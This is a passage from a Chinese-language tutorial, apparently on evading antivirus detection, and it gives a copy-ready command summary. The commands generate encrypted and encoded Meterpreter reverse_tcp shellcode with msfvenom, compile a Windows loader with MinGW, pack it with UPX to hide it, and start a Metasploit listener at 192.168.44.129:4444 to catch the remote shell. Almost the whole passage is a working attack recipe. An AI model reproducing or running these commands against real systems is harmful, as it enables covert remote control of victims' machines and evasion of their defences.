· 加载器编译失败：检查MinGW是否安装成功，代码是否有语法错误（重点检查Shellcode数组是否复制完整、密钥是否一致）。
[bookmark: heading_32]七、常用命令汇总（快速复制，方便操作）
	bash
# 1. 环境准备
sudo apt update && sudo apt install metasploit-framework mingw-w64 upx -y
ip a  # 验证IP为192.168.44.129

# 2. 生成加密Shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 15 --encrypt xor --encrypt-key "msf2025" -f raw -o shellcode.raw
xxd -i shellcode.raw > shellcode.h

# 3. 编译加载器
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -w -O2

# 4. UPX加壳
upx -9 loader.exe -o loader_upx.exe

# 5. MSF监听（固定命令）
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.44.129
set LPORT 4444
run
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